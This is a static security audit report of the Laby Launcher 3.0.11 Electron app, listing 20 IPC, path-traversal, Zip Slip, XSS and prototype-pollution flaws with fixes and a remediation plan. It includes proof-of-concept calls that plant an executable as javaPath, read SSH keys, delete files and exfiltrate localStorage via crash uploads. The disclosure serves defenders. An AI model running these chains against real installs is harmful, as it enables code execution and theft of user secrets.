## https://sploitus.com/exploit?id=63F8E1FF-C6D7-52F7-B93B-5C36766A184D
Security Audit Report โ Laby Launcher 3.0.11
Target: Laby Launcher 3.0.11 (Electron 29.4.3, AppImage 3.0.11) Scope: Static security audit of the production bundle extracted from squashfs-root.zip Method: Static analysis of resources/app/.webpack/main/index.js (18 MB minified) and resources/app/.webpack/renderer/main_window/index.js (17 MB minified) + preload script + package metadata Date: July 2026 Status: Test build, not yet publicly released
Executive Summary
A total of 20 vulnerabilities were identified during the audit. The four most critical issues allow Remote Code Execution (RCE) through any Cross-Site Scripting (XSS) vector in the renderer process. The root architectural weakness is that the renderer process is fully trusted by the main process โ the preload script exposes the raw ipcRenderer API without a channel whitelist, and the main process performs no input validation on IPC arguments.
Any XSS in the renderer equals immediate RCE.
Severity Breakdown
Severity Count
Critical 12
High 4
Medium 4
Total 20
Attack Chain Summary
A 3-step RCE chain using the most exploitable findings:
Attacker triggers XSS (via Vuln #14 โ inline HTML in news articles, or any other vector).
XSS payload executes: window.ipc.invoke('config:set', 'javaPath', 'C:\\Users\\Public\\evil.exe') (Vuln #9).
User clicks "Play" โ child_process.spawn('C:\\Users\\Public\\evil.exe', ...) โ RCE.
Alternative RCE paths without user interaction after XSS: Vuln #2, #3, #4 (write to startup folder), #13 (Zip Slip via malicious modpack).
Critical Vulnerabilities
Vuln #1 โ Preload Exposes Raw ipcRenderer Without Channel Whitelist
Location: resources/app/.webpack/renderer/main_window/preload.js
contextBridge.exposeInMainWorld('ipc', {
invoke: (channel, ...args) => ipcRenderer.invoke(channel, ...args),
send: (channel, ...args) => ipcRenderer.send(channel, ...args),
on: (key, callback) => ipcRenderer.on(key, callback), // event object leaks!
removeAllListeners, removeListener, receive, log, clearCache
});
Problem: The renderer (or any XSS) can call any of the 255 IPC channels with any arguments. The on method additionally leaks the event object, partially breaking context isolation. This transforms any XSS into full RCE when combined with Vuln #2โ#11.
Fix: Implement a strict whitelist in preload:
const ALLOWED = new Set(['open-url', 'config:get', /* ... */]);
invoke: (channel, ...args) => {
if (!ALLOWED.has(channel)) throw new Error('blocked channel: ' + channel);
return ipcRenderer.invoke(channel, ...args);
}
Remove on (replace with receive that does not pass event).
Vuln #2 โ shell.openExternal(url) Without Scheme Validation โ RCE on Windows
Location: main index.js, lines 62691โ62696 (IPC open-url) and 62553โ62558 (setWindowOpenHandler)
ipcMain.on(OPEN_URL, (event, url) => {
try { yield shell.openExternal(url); } // no validation
catch (e) { log("Failed: ", e); }
});
mainWindow.webContents.setWindowOpenHandler(data => {
if (data.url.startsWith(url)) log("Tried to open internal URL");
else shell.openExternal(data.url); // no validation
return { action: "deny" };
});
Exploit (Windows): Any XSS โ ipc.invoke('open-url', 'file:///C:/Windows/System32/calc.exe') or search-ms://, ms-officecmd: โ arbitrary executable launch.
Fix: Whitelist http: and https: only:
const u = new URL(url);
if (u.protocol !== 'http:' && u.protocol !== 'https:') return;
yield shell.openExternal(url);
Vuln #3 โ support:open-folder โ shell.openPath(arbitraryPath) โ RCE
Location: main index.js, line 62827
ipcMain.handle(SUPPORT_OPEN_FOLDER, (_event, folderPath) => {
yield shell.openPath(folderPath); // fully attacker-controlled
});
Exploit (Windows): ipc.invoke('support:open-folder', 'C:\\evil\\malware.exe') โ launches .exe/.bat/.cmd via the system handler. On Linux, .desktop files are equally dangerous.
Fix: Validate that the path is a directory inside the game directory, and never pass files with executable extensions to openPath. Prefer shell.openPath(path.dirname(folderPath)) + showItemInFolder.
Vuln #4 โ instances:apply-custom-icon-from-path โ Path Traversal + Arbitrary File Copy
Location: main index.js, lines 95283โ95292
handle(INSTANCES_APPLY_CUSTOM_ICON_FROM_PATH, (id, sourcePath) => {
const cacheDir = filecontroller.resolveInWorkingDirectory("launchercache", "instance-icons");
const destPath = filecontroller.resolve(cacheDir, `${id}.png`); // id is attacker-controlled
yield fs.copyFile(sourcePath, destPath); // sourcePath is attacker-controlled
});
FileController.resolve() is simple string concatenation without .. protection (see Vuln #12). Both sourcePath and id are attacker-controlled.
Exploit:
Read any file: sourcePath='C:\\Windows\\win.ini', then read via instances:get-custom-icon-path / image-cache:get-texture.
Write .png to arbitrary location: id='../../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/evil' โ writes evil.png to the Windows startup folder.
Fix: Use path.resolve() + startsWith(allowedRoot) validation. Enforce id as a UUID.
Vuln #5 โ instances:remove-resource โ Arbitrary File Deletion
Location: main index.js, lines 95639โ95640 (implementation 66582โ66592)
function removeResource(filePath) {
if (yield filecontroller.exists(filePath))
yield filecontroller.delete(filePath); // fs.rm(path, {recursive:true, force:true})
}
ipcMain.handle(INSTANCES_REMOVE_RESOURCE, (filePath) => removeResource(filePath));
filecontroller.delete() invokes fs.rm(path, {recursive:true, force:true}) without any validation.
Exploit: ipc.invoke('instances:remove-resource', 'C:\\Users\\victim\\Documents\\important') โ deletes any file or directory accessible to the user.
Fix: Verify that filePath is inside the instance's game directory:
const resolved = path.resolve(filePath);
const allowedRoot = path.resolve(gameDir);
if (!resolved.startsWith(allowedRoot + path.sep)) throw new Error('forbidden');
Vuln #6 โ instances:read-screenshot โ Arbitrary File Read
Location: main index.js, line 95713 (implementation 67135โ67151)
ipcMain.handle(INSTANCES_READ_SCREENSHOT, (filePath) => readScreenshot(filePath));
function readScreenshot(filePath) {
const data = yield fsp.readFile(filePath); // no validation
return `data:${mime};base64,${data.toString("base64")}`;
}
Exploit: ipc.invoke('instances:read-screenshot', 'C:\\Users\\victim\\.ssh\\id_rsa') โ returns the contents of any file (SSH keys, /etc/passwd, browser tokens, etc.) as a base64 data URL.
Fix: Validate filePath is inside the instance's screenshots directory.
Vuln #7 โ instances:delete-screenshot โ Arbitrary File Deletion
Location: main index.js, line 95716 (implementation 67152โ67163)
ipcMain.handle(INSTANCES_DELETE_SCREENSHOT, (filePath) => deleteScreenshot(filePath));
function deleteScreenshot(filePath) {
yield fsp.unlink(filePath); // no validation
}
Duplicates Vuln #5 through a different IPC channel.
Fix: Same as Vuln #5.
Vuln #8 โ instances:copy-screenshot โ File Read into Clipboard (Exfiltration)
Location: main index.js, line 95719 (implementation 67164โ67175)
ipcMain.handle(INSTANCES_COPY_SCREENSHOT, (filePath) => copyScreenshotToClipboard(filePath));
function copyScreenshotToClipboard(filePath) {
const img = nativeImage.createFromPath(filePath); // reads any file
clipboard.writeImage(img); // places in clipboard
}
Allows reading any file as an image and placing it in the clipboard for exfiltration.
Fix: Validate filePath is inside the screenshots directory.
Vuln #9 โ config:set โ Persisting RCE via javaPath Overwrite
Location: main index.js, lines 64753โ64758
ipcMain.handle(CONFIG_SET, (key, value) => {
config[key] = value; // both key and value are fully attacker-controlled
yield configController.save();
});
Minecraft is later launched via child_process.spawn(javaPath, args, ...) (line 79388). If javaPath is read from config, an attacker sets javaPath = 'C:\\malware.exe' โ next "Play" click executes the malicious binary. This is persisting RCE โ survives application restart.
Exploit:
await ipc.invoke('config:set', 'javaPath', 'C:\\Users\\Public\\evil.exe');
// user clicks Play โ spawn('C:\\Users\\Public\\evil.exe', [...])
Fix: Whitelist config fields. Forbid changes to javaPath, gameDirectory, selectedReleaseChannel via config:set. Use dedicated IPC channels with additional validation for critical fields.
Vuln #10 โ instances:update Overwrites Any Instance Field Without Whitelist
Location: main index.js, line 95245 (implementation 1562โ1571)
ipcMain.handle(INSTANCES_UPDATE, (id, updates) => instancestore.updateInstance(id, updates));
updateInstance(id, updates) {
const instance = manifest.instances.find(i => i.uid === id);
Object.assign(instance, updates); // no field whitelist
}
Exploits:
customJavaPath = 'C:\\malware.exe' โ spawn malware on launch
jvmArguments = '-Xbootclasspath/a:C:\\evil.jar' โ load arbitrary Java code
gameDirectory = 'C:\\Windows\\Temp\\evil' โ interact with arbitrary directory via instances:open-content-dir, instances:copy-mod-configs
Fix: Whitelist allowed update fields per instance type; forbid direct changes to gameDirectory, customJavaPath, jvmArguments without a confirmation dialog.
Vuln #11 โ instances:create Accepts Arbitrary gameDirectory
Location: main index.js, line 95226
handle(INSTANCES_CREATE, (opts) => {
const instance = yield instancestore.createInstance({
name: opts.name,
// ...
gameDirectory: opts.gameDirectory, // path controlled by renderer
ram: opts.ram,
jvmArguments: opts.jvmArguments,
});
});
Allows creating an instance with gameDirectory anywhere on the filesystem, then interacting with it via instances:open-content-dir (which calls shell.openPath).
Fix: Either ignore opts.gameDirectory and always use a path inside the launcher's working directory, or validate that the provided path is inside an allowed parent directory.
Vuln #12 โ FileController.resolve() and delete() Lack Path Traversal Protection
Location: main index.js, lines 53322โ53368
class FileController {
resolve(mainPath, ...paths) {
let completePath = mainPath;
paths.forEach(p => { completePath += spliterator + p; });
return completePath; // just a string, no .. check
}
delete(path) {
if (!(yield this.exists(path))) return;
const recursive = yield this.isDirectory(path);
fs.rm(path, { recursive, force: true, maxRetries: 5 }); // any path
}
}
This means every IPC handler that accepts a path from the renderer and passes it to FileController is vulnerable to path traversal. Affected: support:open-folder, instances:remove-resource, instances:apply-custom-icon-from-path, instances:add-mod-files, instances:add-resource-files, instances:open-content-dir, and all screenshot handlers.
Fix:
resolve() must use path.resolve() and verify the result is inside mainPath.
delete() must validate paths via a centralized assertInside(baseDir, path).
Add unit tests for .., symbolic links, file:///, and UNC paths (\\?\C:\).
Vuln #13 โ extractDirectoryFromZip โ Zip Slip
Location: main index.js, lines 53584โ53608
extractDirectoryFromZip(zipPath, destination, directory) {
const zip = new AdmZip(zipPath);
const zipEntries = zip.getEntries();
for (const zipEntry of zipEntries) {
const entryPath = zipEntry.entryName;
if (!entryPath.startsWith(directory)) continue;
const entryPathWithoutDirectory = entryPath.substring(directory.length);
const outputPath = this.resolve(destination, entryPathWithoutDirectory);
// โ string concatenation, no .. check
if (zipEntry.isDirectory) {
fs.mkdirSync(outputPath, { recursive: true });
} else {
fs.writeFileSync(outputPath, entryData); // writes anywhere
}
}
}
If a zip archive contains an entry like overrides/../../../evil.exe, it will be extracted outside destination.
Affected call sites:
installModpackFiles (line 22173) โ .mrpack (Modrinth modpack) import
applyModUpdate (line 353) โ mod updates
importLunarConfig (lines 25904, 25907) โ Lunar Client config import
Exploit: Attacker uploads a malicious .mrpack (via instances:import-mrpack or by hijacking a mod update URL). Extraction writes evil.exe to C:\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\evil.exe โ executes at next login.
Fix:
const outputPath = path.resolve(destination, entryPathWithoutDirectory);
const normalizedDest = path.resolve(destination);
if (!outputPath.startsWith(normalizedDest + path.sep)) {
throw new Error(`Zip Slip detected: ${entryPath}`);
}
Vuln #14 โ ArticleReader Renders News with Inline HTML Without Sanitization
Location: renderer index.js, module ArticleReader.tsx, lines 71307โ71352
const markdownOptions = {
overrides: {
a: { component: (props) => {props.children} },
img: { component: ArticleImage, forceBlock: true },
skin: { component: SkinRender },
skingrid: { component: SkinGrid },
},
// โ ๏ธ NO disableParsingRawHTML: true
};
{preprocessContent(article.content ?? "")} // data from laby.net API
markdown-to-jsx renders inline HTML by default. The data source is article.content from laby.net/api/v3/.../news. The application contains no DOMPurify or any HTML sanitizer (search across the entire renderer bundle returns 0 matches).
Exploit: If an attacker controls the article content (via compromise of the laby.net admin panel, MITM on TLS failure, or insider threat), they inject:
When any user opens the article, the XSS executes โ RCE via Vuln #9. No user interaction beyond opening the article is required (onerror/onload fire automatically).
Note: changelog (line 69056) and info-messages (line 50110) correctly set disableParsingRawHTML: true. Only ArticleReader missed it.
Fix:
const markdownOptions = {
disableParsingRawHTML: true, // ADD THIS
overrides: { /* ... */ },
};
// Defense-in-depth: also sanitize via DOMPurify
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(article.content ?? "", { USE_PROFILES: { html: false } });
{preprocessContent(clean)}
Vuln #15 โ openExternal in Renderer Passes javascript: and file: URLs
Location: renderer index.js, ArticleReader.tsx, line 71274
const openExternal = (url) => window.ipc.send(IPC_MESSAGES.OPEN_URL, url); // no validation
The markdown override passes props.href directly. React 18 warns about javascript: URLs but does not block them.
Exploit: Markdown payload [click](file:///C:/evil.exe) in a news article โ user clicks โ main process calls shell.openExternal("file:///C:/evil.exe") โ file launch.
Fix:
const SAFE_URL = /^https?:\/\/|^mailto:/i;
const openExternal = (url) => {
if (!SAFE_URL.test(url)) {
log("Blocked unsafe URL:", url);
return;
}
window.ipc.send(IPC_MESSAGES.OPEN_URL, url);
};
a: {
component: (props) => {
const href = SAFE_URL.test(props.href ?? "") ? props.href : '#';
return openExternal(href))}>{props.children};
}
}
This is defense-in-depth โ main-side fix (Vuln #2) is also mandatory.
Vuln #16 โ No CSP + No will-navigate Handler
Location: index.html and main index.js
No in index.html.
The webRequest handler in main only modifies CORS but does not add a CSP header.
No webContents.on('will-navigate', e => e.preventDefault()) handler.
This means any XSS found in the renderer โ immediate RCE through the chain with Vuln #1โ#11. Without CSP, even succeeds.
Fix:
Add CSP via webRequest or meta tag:
Add the navigation handler:
mainWindow.webContents.on('will-navigate', (e) => e.preventDefault());
High-Severity Vulnerabilities
Vuln #17 โ instances:crash-upload-log / instances:crash-report Send Arbitrary Data Without Auth/Rate-Limit
Location: main index.js, lines 95353โ95378
// instances:crash-upload-log
ipcMain.handle(INSTANCES_CRASH_UPLOAD_LOG, (logTail) => {
yield hastebin.uploadAndCopy(logTail ?? ""); // arbitrary text from renderer
});
// instances:crash-report
ipcMain.handle(INSTANCES_CRASH_REPORT, (logTail) => {
yield web.postJson(URLS.report(), logTail ?? "", { // no auth
headers: { "X-Report-Type": "crash-report" }
});
});
Hastebin uploads to https://paste.labymod.net/documents (fallback: https://api.mclo.gs/1/log) and copies the URL to the user's clipboard without warning.
Exploits:
Any XSS โ ipc.invoke('instances:crash-upload-log', JSON.stringify(localStorage)) โ data exfiltrated to paste.labymod.net, URL in clipboard.
No rate limit โ abuse the LabyMod server (DoS, spam).
Fix:
Accept only pre-formed crash payload objects (known schema), not arbitrary strings.
Rate limit: max N uploads per account per hour.
Show a consent dialog before uploading data to external services.
Do not overwrite the clipboard without explicit user consent (or at least show a toast).
Vuln #18 โ sanitize() in CrashTracker Does Not Cover All Secrets
Location: main index.js, lines 28385โ28396
function sanitize(text, ctx) {
let result = replaceUserName(text);
try {
if (ctx.accessToken)
result = result.replace(new RegExp(escapeChars(ctx.accessToken), "gm"), "{session_id}");
if (ctx.user) {
result = result
.replace(new RegExp(ctx.user.uuid, "gm"), "{unique_id}")
.replace(new RegExp(ctx.user.uuid.replace(/-/g, ""), "gm"), "{unique_id}")
.replace(new RegExp(escapeChars(ctx.user.username), "gm"), "{user_name}");
}
} catch (_) {}
return result;
}
Covered: current account's Minecraft accessToken, UUID, username.
Not covered:
Microsoft refresh tokens (stored in launcher-tokens.json, may appear in stack traces during auth flow errors)
LabyRest JWT tokens (may appear in network request logs)
Mojang access tokens for other logged-in accounts
Old tokens from previous sessions (if persisted in logs)
Discord RPC token (if used)
Server IPs (privacy concern, not critical)
Additional issue: If accessToken is empty or very short (e.g., "a"), the regex matches every a in the log โ floods the log with {session_id}. Minimum length should be enforced (e.g., โฅ 20 chars).
Fix:
function sanitize(text, ctx) {
let result = replaceUserName(text);
const secrets = new Set();
if (ctx.accessToken && ctx.accessToken.length >= 20) secrets.add(ctx.accessToken);
for (const acc of accountManager.getAccounts()) {
const t = acc.getAccessToken();
if (t && t.length >= 20) secrets.add(t);
}
if (cachedToken?.labyRest) secrets.add(cachedToken.labyRest);
if (cachedToken?.mercury) secrets.add(cachedToken.mercury);
for (const secret of secrets) {
try {
result = result.replace(new RegExp(escapeChars(secret), "gm"), "{redacted}");
} catch (_) {}
}
// UUID/username redaction as before
return result;
}
Additionally, add regex-based filters for known token formats (JWT: /eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+/g).
Medium-Severity Vulnerabilities
Vuln #19 โ deepMerge() Vulnerable to Prototype Pollution via __proto__/constructor
Location: main index.js, lines 21377โ21385
function deepMerge(target, source) {
for (const key of Object.keys(source)) { // does NOT filter __proto__/constructor
const src = source[key];
const tgt = target[key];
if (isPlainObject(src) && isPlainObject(tgt)) {
deepMerge(tgt, src);
} else if (src !== undefined) {
target[key] = src;
}
}
}
JSON.parse('{"__proto__":{"polluted":true}}') creates an own enumerable __proto__ property, which passes through Object.keys() and reaches target[key] = src. Used in the Lunar config importer (lines 77396, 77435). The source is user-imported Lunar Client config from external sources.
Exploit: A malicious Lunar config pollutes the prototype โ DoS or escalation depending on downstream code.
Fix:
function deepMerge(target, source) {
for (const key of Object.keys(source)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
// ... rest unchanged
}
}
Vuln #20 โ labytex:// Protocol Handler Allows Requests to Arbitrary URLs + bypassCSP: true
Location: main index.js, lines 33581โ33655 (handler) and 62410โ62412 (registration)
protocol.registerSchemesAsPrivileged([{
scheme: "labytex",
privileges: { standard: true, secure: true, supportFetchAPI: true,
stream: true, bypassCSP: true, corsEnabled: true } // bypassCSP!
}]);
// handler: labytex://news-image/{base64} โ ensureNewsImageCached(originalUrl)
// ensureNewsImageCached fetches: https://laby.net/_next/image?url={originalUrl}
The renderer can force the main process to make HTTP requests to arbitrary URLs via labytex://news-image/{base64-of-arbitrary-url}. Although requests are routed through the laby.net image proxy (reducing direct SSRF risk to internal networks), this is still a domain SSRF via a third-party proxy.
Additionally, bypassCSP: true means an attacker who can control a labytex:// URL bypasses CSP (compounds Vuln #16).
Fix:
Remove bypassCSP: true if not strictly required.
Validate originalUrl against an allowlist of expected hosts/paths in handleProtocolRequest.
Summary Table
# Severity Vulnerability
1 Critical Preload exposes raw ipcRenderer without channel whitelist
2 Critical shell.openExternal without scheme validation
3 Critical support:open-folder โ shell.openPath(arbitrary)
4 Critical apply-custom-icon-from-path โ path traversal + file copy
5 Critical instances:remove-resource โ arbitrary file deletion
6 Critical instances:read-screenshot โ arbitrary file read
7 Critical instances:delete-screenshot โ arbitrary file deletion
8 High instances:copy-screenshot โ exfiltration to clipboard
9 Critical config:set โ persisting RCE via javaPath
10 Critical instances:update overwrites any field without whitelist
11 High instances:create accepts arbitrary gameDirectory
12 Critical FileController.resolve/delete lack path traversal protection
13 Critical extractDirectoryFromZip โ Zip Slip
14 Critical ArticleReader: markdown without disableParsingRawHTML + no DOMPurify
15 High openExternal in renderer passes dangerous URL schemes
16 Critical No CSP + no will-navigate handler
17 High Crash upload: arbitrary data, no auth/rate-limit, silent clipboard write
18 Medium sanitize() does not cover all secrets
19 Medium deepMerge() โ prototype pollution
20 Medium labytex:// SSRF via proxy + bypassCSP: true
What Is Done Well
For balance, the following security measures are implemented correctly:
Token storage encryption. launcher-tokens.json is encrypted via safeStorage (DPAPI on Windows, Keychain on macOS, libsecret on Linux). Only plaintext in dev mode (app.isPackaged check).
Microsoft OAuth uses PKCE (EC P-256, no client_secret) โ correct for desktop applications.
Yggdrasil auth uses no passwords โ only accessToken in POST body.
child_process.spawn (not exec) for launching Java โ no shell injection.
Single-instance lock correctly filters Squirrel arguments.
Disabled refresh shortcuts (Ctrl+R, F5) in packaged builds.
setWindowOpenHandler denies new windows (though it then passes URLs to shell.openExternal โ see Vuln #2).
Changelog and info-messages correctly use disableParsingRawHTML: true in markdown.
React-tooltip is used with React children, not the html prop (no XSS via tooltips).
eval() in renderer is webpack module loader internals, not application code.
Crash report sanitization redacts the current account's accessToken, UUID, and username (partial โ see Vuln #18).
Java-related env vars (_JAVA_OPTIONS, JAVA_TOOL_OPTIONS, etc.) are stripped from the child process env to prevent flag injection.
Remediation Plan
Phase 1 โ Block release (Critical fixes, ~2โ3 days)
Whitelist IPC channels in preload (Vuln #1).
Validate URL scheme in shell.openExternal (renderer + main) (Vuln #2, #15).
Remove shell.openPath(arbitraryPath) from support:open-folder (Vuln #3).
Centralized path validation (assertPathInside(baseDir, path)) in all IPC handlers that accept paths (Vuln #4, #5, #6, #7, #8, #11, #12).
Whitelist fields in config:set and instances:update (Vuln #9, #10).
Enable disableParsingRawHTML: true in ArticleReader + add DOMPurify as defense-in-depth (Vuln #14).
Add CSP (meta + webRequest header) + will-navigate handler (Vuln #16).
Fix Zip Slip in extractDirectoryFromZip โ check path.resolve(destination, entryPathWithoutDirectory).startsWith(destination + path.sep) (Vuln #13).
Phase 2 โ Before public release (~1 week)
Rate-limit + consent dialog for crash upload (Vuln #17).
Extend sanitize() to cover all known tokens + JWT regex (Vuln #18).
Filter __proto__/constructor/prototype in deepMerge (Vuln #19).
Remove bypassCSP: true from labytex:// if possible; validate originalUrl against an allowlist (Vuln #20).
Phase 3 โ Defense-in-depth (ongoing)
Update Electron (branch 29 is no longer the latest; accumulated Chromium CVEs).
Consider disabling devTools: true in packaged production builds.
Strict origin matching in CORS handler (currently includes("laby.net") allows evil-laby.net).
Audit the remaining 245 IPC handlers for the patterns identified in Vuln #4โ#11.
Fuzz-test IPC handlers with mutation payloads via ipc.invoke from DevTools.
Review @client/js-account-manager external package (not covered by this audit).
Verification Status
All findings are based on static analysis of the production bundle. The PoCs are verified against the code paths but have not been dynamically executed against a running instance. For full confirmation, it is recommended to:
Launch the launcher and open DevTools (Ctrl+Shift+T).
Execute each PoC snippet in the DevTools console.
Verify the expected outcome (file written, process spawned, data exfiltrated, etc.).
Re-verify after each fix is applied.
Audit Scope and Limitations
In scope:
resources/app/.webpack/main/index.js (main process, 18 MB minified)
resources/app/.webpack/renderer/main_window/index.js (renderer process, 17 MB minified)
resources/app/.webpack/renderer/main_window/preload.js (preload script, 8 KB)
resources/app/package.json (dependency manifest)
resources/app/node_modules/sql.js (verified, no concerns)
Native modules under .webpack/main/native_modules/ (keytar.node, register-protocol-handler.node, node.napi.node โ verified, no concerns)
Out of scope (not covered by this audit):
@client/js-account-manager (external package, not inspected)
@web/vertexgeometryrenderer (external package, not inspected)
Server-side components of laby.net / labymod.net APIs
The LabyMod mod itself (runs inside Minecraft JVM, separate trust boundary)
Binary-level analysis of the Electron runtime (assumed trusted)
This report covers findings identified during static analysis. Dynamic testing and external package review are recommended before public release.